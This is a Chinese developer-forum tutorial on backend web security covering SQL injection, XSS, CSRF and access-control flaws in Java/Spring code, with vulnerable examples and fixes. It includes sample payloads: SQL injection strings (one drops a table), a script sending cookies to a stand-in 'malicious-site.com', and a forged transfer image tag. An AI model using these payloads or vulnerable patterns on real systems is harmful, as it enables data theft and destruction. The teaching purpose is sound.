找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

975

积分

0

好友

139

主题
发表于 5 天前 | 查看: 14| 回复: 0

“安全不是有专门的安全团队负责吗?我们后端开发把功能实现好就行了。”

这种想法曾让许多开发者付出过惨痛代价。当一份详尽的安全测试报告摆在面前,揭示出数个高危漏洞时,才会真正意识到:安全并非只是安全团队的职责,而是每一位后端开发者必须掌握的基本功。作为系统数据的直接处理者,后端代码往往是抵御外部攻击的最后一道防线,任何一行不严谨的代码都可能成为系统的致命弱点。

一、SQL注入:最古老但最致命的漏洞

1.1 典型错误写法

许多开发者为了追求灵活性,会直接使用字符串拼接来构建SQL语句,这为SQL注入敞开了大门。

// 错误示范:使用${}进行SQL拼接
@Mapper
public interface UserMapper {
    @Select("SELECT * FROM user WHERE username = '${username}' AND password = '${password}'")
    User login(@Param("username") String username, @Param("password") String password);
}

这种写法看似灵活,可以动态处理表名或字段。然而,一旦攻击者在登录框中输入以下内容:

用户名:admin' or '1'='1
密码:任意值

实际执行的SQL语句将变为

SELECT * FROM user WHERE username = 'admin' or '1'='1' AND password = 'xxx'

后果:攻击者成功绕过了密码验证,直接以管理员身份登录系统。

1.2 攻击原理剖析

SQL注入的核心在于:攻击者输入的数据被数据库引擎错误地解析并执行为SQL代码的一部分

典型攻击步骤

  1. 寻找应用程序中将用户输入直接拼接到SQL语句的位置。
  2. 输入特殊字符(如单引号'、分号;、注释符--)来“闭合”原有SQL语句的结构。
  3. 嵌入恶意SQL指令,实现查询、篡改、删除甚至拖库等目的。

常见攻击载荷(Payload)

-- 绕过身份验证
admin' or '1'='1

-- 联合查询获取数据库表名
' UNION SELECT table_name FROM information_schema.tables --

-- 执行删除操作
'; DROP TABLE users; --

1.3 防御方案

方案一:使用#{}进行参数化查询(MyBatis)
这是最推荐、最有效的防御手段。通过使用 MyBatis 等ORM框架的参数化查询功能,可以从根本上杜绝SQL注入。

// 正确做法:使用#{}进行参数绑定
@Mapper
public interface UserMapper {
    @Select("SELECT * FROM user WHERE username = #{username} AND password = #{password}")
    User login(@Param("username") String username, @Param("password") String password);
}

原理#{}语法会被MyBatis预处理为JDBC的PreparedStatement参数占位符?,用户输入的内容在任何情况下都只会被当作数据值传递,而不会被解释为SQL指令。

方案二:直接使用PreparedStatement(原生JDBC)
如果未使用ORM框架,应在JDBC层确保使用预编译语句。

public User login(String username, String password) {
    String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
    try (PreparedStatement ps = connection.prepareStatement(sql)) {
        ps.setString(1, username);
        ps.setString(2, password);
        ResultSet rs = ps.executeQuery();
        // ... 处理结果集
    }
}

方案三:实施SQL审计(辅助监测)
作为深度防御的一环,可以添加拦截器对所有执行的SQL进行监控和特征分析。

@Component
public class SqlAuditInterceptor implements Interceptor {
    @Override
    public Object intercept(Invocation invocation) throws Throwable {
        Object statement = invocation.getArgs()[0];
        if (statement instanceof MappedStatement) {
            MappedStatement ms = (MappedStatement) statement;
            String sql = ms.getBoundSql(invocation.getArgs()[1]).getSql();
            // 记录日志
            log.info("Executed SQL: {}", sql);
            // 检测常见注入特征(此方法有局限性,不能仅依赖于此)
            if (sql.contains("' or '1'='1") || sql.toLowerCase().contains("; drop ")) {
                log.error("检测到疑似SQL注入攻击: {}", sql);
                throw new SecurityException("非法SQL操作");
            }
        }
        return invocation.proceed();
    }
}

1.4 核心安全准则

  1. 强制使用参数化查询:在任何情况下,优先使用#{},坚决避免使用${}进行SQL拼接。
  2. 必须做白名单校验:对于动态表名、动态字段等不得不使用${}的极少数场景,必须对输入值进行严格的白名单校验。
// 动态表名场景下的安全处理
private static final Set<String> ALLOWED_TABLES = Set.of("user_202401", "user_202402");

public List<User> selectByTable(String tableName) {
    // 严格的白名单校验
    if (!ALLOWED_TABLES.contains(tableName)) {
        throw new IllegalArgumentException("非法的表名参数");
    }
    return userMapper.selectByTable(tableName); // Mapper中仍需谨慎使用${tableName}
}

二、XSS:后端必须参与防护的前端漏洞

2.1 典型错误想法

“XSS是前端漏洞,前端做好转义就行了,后端存储原始数据更方便。” 这种思路非常危险。

// 风险代码:后端直接存储未经过滤的用户输入
@RestController
public class CommentController {
    @PostMapping("/api/comment")
    public Result addComment(@RequestBody Comment comment) {
        // 直接存入数据库,未做任何处理
        commentMapper.insert(comment);
        return Result.success();
    }
}

假设用户提交了如下评论内容:

<script>
  fetch('http://malicious-site.com/steal?cookie=' + document.cookie);
</script>

攻击场景:当网站管理员在后台查看用户评论时,这段恶意脚本会在管理员的浏览器中执行,悄无声息地将管理员的会话Cookie发送到攻击者的服务器,导致后台权限沦陷。

2.2 攻击原理

XSS(跨站脚本攻击)的本质是:攻击者构造的恶意脚本代码,被浏览器当作合法内容加载并执行

攻击流程

  1. 攻击者找到用户可输入并展示的内容入口(如评论、昵称、文章)。
  2. 提交包含恶意HTML/JavaScript代码的内容。
  3. 该内容被存储(存储型XSS)或直接反射(反射型XSS)到网页中。
  4. 其他用户或管理员浏览该页面时,恶意脚本在其浏览器上下文中执行。

2.3 防御方案

方案一:后端统一进行HTML转义(推荐)
在数据存入数据库或返回给前端前,对用户输入中的特殊字符进行转义。

import org.springframework.web.util.HtmlUtils;

@RestController
public class CommentController {
    @PostMapping("/api/comment")
    public Result addComment(@RequestBody Comment comment) {
        // 对内容进行HTML转义,将 <, >, &, " 等转换为实体字符
        String safeContent = HtmlUtils.htmlEscape(comment.getContent());
        comment.setContent(safeContent);
        commentMapper.insert(comment);
        return Result.success();
    }
}

方案二:使用JSR 303验证注解
在实体类字段上使用@SafeHtml等注解进行校验(需要hibernate-validator等库支持)。

public class Comment {
    @NotBlank
    @Size(max = 1000)
    @SafeHtml // 该注解会检查内容是否包含不安全的HTML
    private String content;
}

方案三:启用内容安全策略(CSP)
CSP是一种由浏览器提供的强大安全层,通过HTTP头定义哪些资源可以加载执行,能有效缓解XSS。

@Configuration
public class SecurityConfig {
    @Bean
    public FilterRegistrationBean<CSPFilter> cspFilter() {
        FilterRegistrationBean<CSPFilter> registration = new FilterRegistrationBean<>();
        registration.setFilter(new CSPFilter());
        registration.addUrlPatterns("/*");
        return registration;
    }

    public static class CSPFilter implements Filter {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                throws IOException, ServletException {
            HttpServletResponse httpResponse = (HttpServletResponse) response;
            // 仅允许加载同源的脚本和样式,内联脚本将被阻止
            httpResponse.setHeader("Content-Security-Policy",
                    "default-src 'self'; script-src 'self'; style-src 'self';");
            chain.doFilter(request, response);
        }
    }
}

方案四:设置HttpOnly和Secure Cookie
防止XSS攻击成功后被窃取Cookie。

@Configuration
public class CookieConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new HandlerInterceptor() {
            @Override
            public void postHandle(HttpServletRequest request, HttpServletResponse response,
                                    Object handler, ModelAndView modelAndView) {
                Cookie cookie = new Cookie("SESSIONID", sessionId);
                cookie.setHttpOnly(true); // 禁止JavaScript通过`document.cookie`访问
                cookie.setSecure(true);   // 仅通过HTTPS传输
                cookie.setPath("/");
                response.addCookie(cookie);
            }
        });
    }
}

2.4 核心安全准则

  1. 后端必须负责过滤:不能完全依赖前端,后端必须对存储和输出的数据进行净化和转义。
  2. 对所有用户输入进行处理:包括评论、昵称、地址、搜索关键词等所有字段。
  3. 加固会话管理:为Cookie始终设置HttpOnlySecure属性。

三、CSRF:利用用户信任的隐蔽攻击

3.1 存在漏洞的接口

许多开发者认为,只要接口需要登录态(检查Session或Token)就是安全的,这忽略了CSRF风险。

// 存在CSRF漏洞的转账接口
@RestController
public class TransferController {
    @PostMapping("/api/transfer")
    public Result transfer(@RequestParam Long toUserId, @RequestParam BigDecimal amount) {
        Long userId = getCurrentUserId(); // 从session获取当前用户ID
        accountService.transfer(userId, toUserId, amount);
        return Result.success();
    }
}

攻击过程

  1. 用户登录了正规银行网站your-bank.com,会话保持有效。
  2. 用户在不经意间访问了攻击者控制的恶意网站。
  3. 恶意网站中包含一个自动加载的图片标签:
    <img src="http://your-bank.com/api/transfer?toUserId=99999&amount=10000" />
  4. 浏览器在加载该图片时会自动向银行网站发起转账GET/POST请求,并携带用户的Cookie。
  5. 银行服务器验证Cookie有效,认为是用户本人的合法操作,执行转账。

3.2 攻击原理

CSRF(跨站请求伪造)的本质是:攻击者诱导已登录目标网站的用户,去访问一个恶意构造的页面,该页面会利用用户浏览器中存储的登录凭证(Cookie),伪造用户的身份向目标网站发起非本意的请求

3.3 防御方案

方案一:使用CSRF Token(最有效)
服务端生成一个随机的、不可预测的Token,嵌入到页面表单或Meta标签中,前端在每次请求时携带该Token,服务端进行校验。

// 服务端:校验CSRF Token
@RestController
public class TransferController {
    @PostMapping("/api/transfer")
    public Result transfer(@RequestParam Long toUserId,
                           @RequestParam BigDecimal amount,
                           @RequestHeader("X-CSRF-TOKEN") String csrfToken) {
        // 从Session中获取预期的Token并进行比对
        if (!csrfToken.equals(session.getAttribute("CSRF_TOKEN"))) {
            throw new SecurityException("非法请求,CSRF Token校验失败");
        }
        Long userId = getCurrentUserId();
        accountService.transfer(userId, toUserId, amount);
        return Result.success();
    }
}
<!-- 前端:在请求头中携带Token -->
<meta name="_csrf" content="${_csrf.token}"/>
<script>
    const csrfToken = document.querySelector('meta[name="_csrf"]').content;
    fetch('/api/transfer', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-CSRF-TOKEN': csrfToken  // 将Token放入请求头
        },
        body: JSON.stringify({toUserId: 123, amount: 100})
    });
</script>

现代 Spring Security 等安全框架默认已提供完善的CSRF防护机制。

方案二:设置SameSite Cookie属性
通过设置Cookie的SameSite属性为StrictLax,可以控制Cookie在跨站请求时是否被发送。

@Configuration
public class CookieConfig {
    @Bean
    public CookieSameSiteSupplier cookieSameSiteSupplier() {
        // Strict模式:Cookie在任何跨站请求中都不会被发送,防护最强。
        return CookieSameSiteSupplier.ofStrict();
    }
}

方案三:校验Referer/Origin头部
检查请求头中的RefererOrigin字段,确保请求来源于同源站点。此方法可作为辅助手段,但不能完全依赖。

@Component
public class RefererFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        String referer = httpRequest.getHeader("Referer");
        // 仅允许来自本站点的请求
        if (referer != null && referer.startsWith("https://your-domain.com")) {
            chain.doFilter(request, response);
        } else {
            ((HttpServletResponse) response).setStatus(HttpServletResponse.SC_FORBIDDEN);
        }
    }
}

3.4 核心安全准则

  1. 关键操作必须使用CSRF Token:所有会产生状态变更的POST、PUT、DELETE请求都应受到保护。
  2. 合理配置Cookie属性:为会话Cookie设置SameSite=StrictLax
  3. 实施二次验证:对于转账、修改密码等极高敏感操作,应结合短信验证码、密码二次确认等手段。

四、越权访问:数据归属校验不可或缺

4.1 常见疏漏

开发者在实现数据查询接口时,常常只验证用户是否登录,而忘记验证该数据是否真正属于当前用户。

// 存在越权漏洞的订单查询接口
@RestController
public class OrderController {
    @GetMapping("/api/order/{id}")
    public Result<Order> getOrder(@PathVariable Long id) {
        // 仅根据ID查询,未校验订单所属用户
        Order order = orderMapper.selectById(id);
        return Result.success(order); // 可能返回了别人的订单
    }
}

攻击者只需简单地遍历订单ID(如/api/order/1001/api/order/1002),就可以窃取系统中所有用户的订单信息。

4.2 攻击原理

越权访问(Broken Access Control)的本质是:应用程序未能对用户访问其无权访问的资源(数据或功能)实施有效的限制

  • 水平越权:用户A访问了属于同级别用户B的数据(例如,A查看B的订单)。
  • 垂直越权:低权限用户访问了仅限高权限用户使用的功能或数据(例如,普通用户访问管理员后台)。

4.3 防御方案

方案一:使用统一的权限校验切面(推荐)
通过AOP(面向切面编程)实现一个通用的数据权限校验层。

// 自定义权限校验注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface CheckDataOwner {
}

// 权限校验切面
@Aspect
@Component
public class DataPermissionAspect {
    @Around("@annotation(checkDataOwner)")
    public Object checkPermission(ProceedingJoinPoint pjp, CheckDataOwner checkDataOwner) throws Throwable {
        Long currentUserId = SecurityUtils.getCurrentUserId();
        Object[] args = pjp.getArgs();
        // 假设第一个参数是资源ID
        if (args.length > 0 && args[0] instanceof Long) {
            Long resourceId = (Long) args[0];
            // 调用服务方法,校验资源所有权
            if (!dataPermissionService.isOwner(resourceId, currentUserId)) {
                throw new AccessDeniedException("您无权访问该资源");
            }
        }
        return pjp.proceed();
    }
}

// 在Controller方法上使用注解
@RestController
public class OrderController {
    @GetMapping("/api/order/{id}")
    @CheckDataOwner // 添加注解,自动触发权限校验
    public Result<Order> getOrder(@PathVariable Long id) {
        Order order = orderMapper.selectById(id);
        return Result.success(order);
    }
}

方案二:在业务逻辑层手动校验
在每个需要权限控制的Service方法中,显式地加入所有权校验逻辑。

@RestController
public class OrderController {
    @GetMapping("/api/order/{id}")
    public Result<Order> getOrder(@PathVariable Long id) {
        Long userId = SecurityUtils.getCurrentUserId();
        // 查询时关联用户ID
        Order order = orderMapper.selectByIdAndUserId(id, userId);
        if (order == null) {
            // 找不到记录,可能是ID不存在,也可能是用户无权限,统一返回“无权限”以避免信息泄露
            throw new AccessDeniedException("订单不存在或您无权访问");
        }
        return Result.success(order);
    }
}

对应的Mapper SQL

<select id="selectByIdAndUserId" resultType="Order">
    SELECT * FROM `order` WHERE id = #{id} AND user_id = #{userId}
</select>

五、安全开发核心清单(上篇小结)

  1. 强制输入验证:在数据入口处,使用JSR 303注解或手动校验对用户输入的长度、格式、类型进行严格限制。
  2. 杜绝SQL注入:坚持使用参数化查询(#{}PreparedStatement),严禁拼接SQL。
  3. 协同防御XSS:后端应对存储和输出的文本数据进行HTML转义,前端亦需配合,并设置CSP、HttpOnly Cookie等多重防线。
  4. 全面防护CSRF:为状态变更请求启用CSRF Token保护,并合理配置Cookie的SameSite属性。
  5. 校验数据权限:每一个数据查询和操作接口,都必须显式校验当前用户是否拥有目标数据的访问或操作权限。



上一篇:渗透测试完整流程详解:基于PTES标准从信息搜集到内网渗透
下一篇:Linux USB设备驱动深度解析:内核架构、URB与端点描述符实战
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 18:17 , Processed in 0.187870 second(s), 37 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表